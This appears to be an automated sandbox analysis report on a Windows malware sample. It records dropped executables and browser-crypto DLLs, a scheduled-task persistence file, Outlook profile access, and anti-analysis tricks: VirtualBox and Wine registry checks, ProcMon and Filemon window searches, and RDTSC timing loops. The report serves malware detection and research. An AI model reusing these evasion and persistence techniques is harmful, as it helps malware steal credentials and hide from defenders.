Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1754112 > 1048576

Source: file.exe

Static PE information: Raw size of pxqeommn is bigger than: 0x100000 < 0x192400

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2552102554.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2552102554.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.8b0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;pxqeommn:EW;ogeyivxc:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;pxqeommn:EW;ogeyivxc:EW;.taggant:EW;
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	Unpacked PE file: 21.2.DocumentsDBAAFIDGDA.exe.c50000.0.unpack :EW;.rsrc:W;.idata :W;bmmskeqc:EW;hxetqgxg:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;bmmskeqc:EW;hxetqgxg:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 22.2.skotes.exe.7b0000.0.unpack :EW;.rsrc:W;.idata :W;bmmskeqc:EW;hxetqgxg:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;bmmskeqc:EW;hxetqgxg:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 23.2.skotes.exe.7b0000.0.unpack :EW;.rsrc:W;.idata :W;bmmskeqc:EW;hxetqgxg:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;bmmskeqc:EW;hxetqgxg:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 25.2.skotes.exe.7b0000.0.unpack :EW;.rsrc:W;.idata :W;bmmskeqc:EW;hxetqgxg:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;bmmskeqc:EW;hxetqgxg:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6BC410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C6BC410

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe	Static PE information: real checksum: 0x1af161 should be: 0x1b1e52
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x1d069c should be: 0x33631
Source: f7b9aebad7.exe.25.dr	Static PE information: real checksum: 0x1d069c should be: 0x33631
Source: skotes.exe.21.dr	Static PE information: real checksum: 0x323368 should be: 0x32892e
Source: DocumentsDBAAFIDGDA.exe.0.dr	Static PE information: real checksum: 0x323368 should be: 0x32892e

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: pxqeommn
Source: file.exe	Static PE information: section name: ogeyivxc
Source: file.exe	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: DocumentsDBAAFIDGDA.exe.0.dr	Static PE information: section name:
Source: DocumentsDBAAFIDGDA.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsDBAAFIDGDA.exe.0.dr	Static PE information: section name: bmmskeqc
Source: DocumentsDBAAFIDGDA.exe.0.dr	Static PE information: section name: hxetqgxg
Source: DocumentsDBAAFIDGDA.exe.0.dr	Static PE information: section name: .taggant
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .rsrc
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: bimhgoda
Source: random[1].exe.0.dr	Static PE information: section name: gawqocxm
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: skotes.exe.21.dr	Static PE information: section name:
Source: skotes.exe.21.dr	Static PE information: section name: .idata
Source: skotes.exe.21.dr	Static PE information: section name: bmmskeqc
Source: skotes.exe.21.dr	Static PE information: section name: hxetqgxg
Source: skotes.exe.21.dr	Static PE information: section name: .taggant
Source: f7b9aebad7.exe.25.dr	Static PE information: section name:
Source: f7b9aebad7.exe.25.dr	Static PE information: section name: .rsrc
Source: f7b9aebad7.exe.25.dr	Static PE information: section name: .idata
Source: f7b9aebad7.exe.25.dr	Static PE information: section name:
Source: f7b9aebad7.exe.25.dr	Static PE information: section name: bimhgoda
Source: f7b9aebad7.exe.25.dr	Static PE information: section name: gawqocxm
Source: f7b9aebad7.exe.25.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68B536 push ecx; ret	0_2_6C68B549
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	Code function: 21_2_00C6D91C push ecx; ret	21_2_00C6D92F
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	Code function: 21_2_00C61359 push es; ret	21_2_00C6135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_007CD91C push ecx; ret	22_2_007CD92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_007CD91C push ecx; ret	23_2_007CD92F

Source: file.exe	Static PE information: section name: pxqeommn entropy: 7.954889685687391
Source: DocumentsDBAAFIDGDA.exe.0.dr	Static PE information: section name: entropy: 7.078957743712434
Source: random[1].exe.0.dr	Static PE information: section name: entropy: 7.9756623504618895
Source: random[1].exe.0.dr	Static PE information: section name: bimhgoda entropy: 7.903322595682847
Source: skotes.exe.21.dr	Static PE information: section name: entropy: 7.078957743712434
Source: f7b9aebad7.exe.25.dr	Static PE information: section name: entropy: 7.9756623504618895
Source: f7b9aebad7.exe.25.dr	Static PE information: section name: bimhgoda entropy: 7.903322595682847

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsDBAAFIDGDA.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1006763001\f7b9aebad7.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsDBAAFIDGDA.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsDBAAFIDGDA.exe

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsDBAAFIDGDA.exe

Jump to dropped file

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\DocumentsDBAAFIDGDA.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6B55F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6C6B55F0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFFACC second address: AFFAD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFFAD8 second address: AFFADE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6C5B9 second address: C6C5C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6C5C3 second address: C6C5C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7841D second address: C78423 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C78423 second address: C7842E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7842E second address: C78432 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C78432 second address: C78436 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C78436 second address: C7843C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C785B4 second address: C785B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7A129 second address: C7A130 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7A130 second address: C7A135 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7A380 second address: C7A3E0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push esi 0x0000000a jnp 00007F2D44C41DE5h 0x00000010 jmp 00007F2D44C41DDFh 0x00000015 pop esi 0x00000016 nop 0x00000017 mov dword ptr [ebp+122D1BD3h], edi 0x0000001d push 00000000h 0x0000001f push 00000000h 0x00000021 push edx 0x00000022 call 00007F2D44C41DD8h 0x00000027 pop edx 0x00000028 mov dword ptr [esp+04h], edx 0x0000002c add dword ptr [esp+04h], 0000001Ah 0x00000034 inc edx 0x00000035 push edx 0x00000036 ret 0x00000037 pop edx 0x00000038 ret 0x00000039 mov dword ptr [ebp+122D1836h], eax 0x0000003f call 00007F2D44C41DD9h 0x00000044 push eax 0x00000045 push edx 0x00000046 push ebx 0x00000047 push ebx 0x00000048 pop ebx 0x00000049 pop ebx 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7A3E0 second address: C7A436 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F2D44BC37EEh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007F2D44BC37E4h 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 pushad 0x00000015 jmp 00007F2D44BC37E7h 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7A436 second address: C7A493 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 popad 0x00000008 mov eax, dword ptr [eax] 0x0000000a push ecx 0x0000000b pushad 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 pop ecx 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 jo 00007F2D44C41DDAh 0x0000001c push ebx 0x0000001d pushad 0x0000001e popad 0x0000001f pop ebx 0x00000020 pop eax 0x00000021 sbb dx, D898h 0x00000026 push 00000003h 0x00000028 pushad 0x00000029 mov dword ptr [ebp+122D283Ah], edi 0x0000002f jmp 00007F2D44C41DE3h 0x00000034 popad 0x00000035 push 00000000h 0x00000037 mov ch, F2h 0x00000039 push 00000003h 0x0000003b sub dword ptr [ebp+122D3425h], edx 0x00000041 call 00007F2D44C41DD9h 0x00000046 push eax 0x00000047 push edx 0x00000048 push eax 0x00000049 push eax 0x0000004a push edx 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7A493 second address: C7A498 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7A498 second address: C7A49E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7A49E second address: C7A4CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2D44BC37DAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d jmp 00007F2D44BC37E9h 0x00000012 push ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7A4CC second address: C7A4DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7A4DB second address: C7A4E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7A4E2 second address: C7A56C instructions: 0x00000000 rdtsc 0x00000002 jp 00007F2D44C41DDCh 0x00000008 jns 00007F2D44C41DD6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov eax, dword ptr [eax] 0x00000012 pushad 0x00000013 pushad 0x00000014 jp 00007F2D44C41DD6h 0x0000001a pushad 0x0000001b popad 0x0000001c popad 0x0000001d pushad 0x0000001e jmp 00007F2D44C41DDFh 0x00000023 jmp 00007F2D44C41DE4h 0x00000028 popad 0x00000029 popad 0x0000002a mov dword ptr [esp+04h], eax 0x0000002e js 00007F2D44C41DF4h 0x00000034 pop eax 0x00000035 lea ebx, dword ptr [ebp+1244E07Bh] 0x0000003b clc 0x0000003c xchg eax, ebx 0x0000003d push eax 0x0000003e push edx 0x0000003f jns 00007F2D44C41DE4h 0x00000045 jmp 00007F2D44C41DDEh 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7A56C second address: C7A589 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F2D44BC37DCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jg 00007F2D44BC37D6h 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7A6B5 second address: C7A6BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C98C5D second address: C98C62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C99281 second address: C99286 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C99286 second address: C9929C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2D44BC37E2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9929C second address: C992A6 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F2D44C41DD6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C993DB second address: C993EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2D44BC37DFh 0x00000009 rdtsc
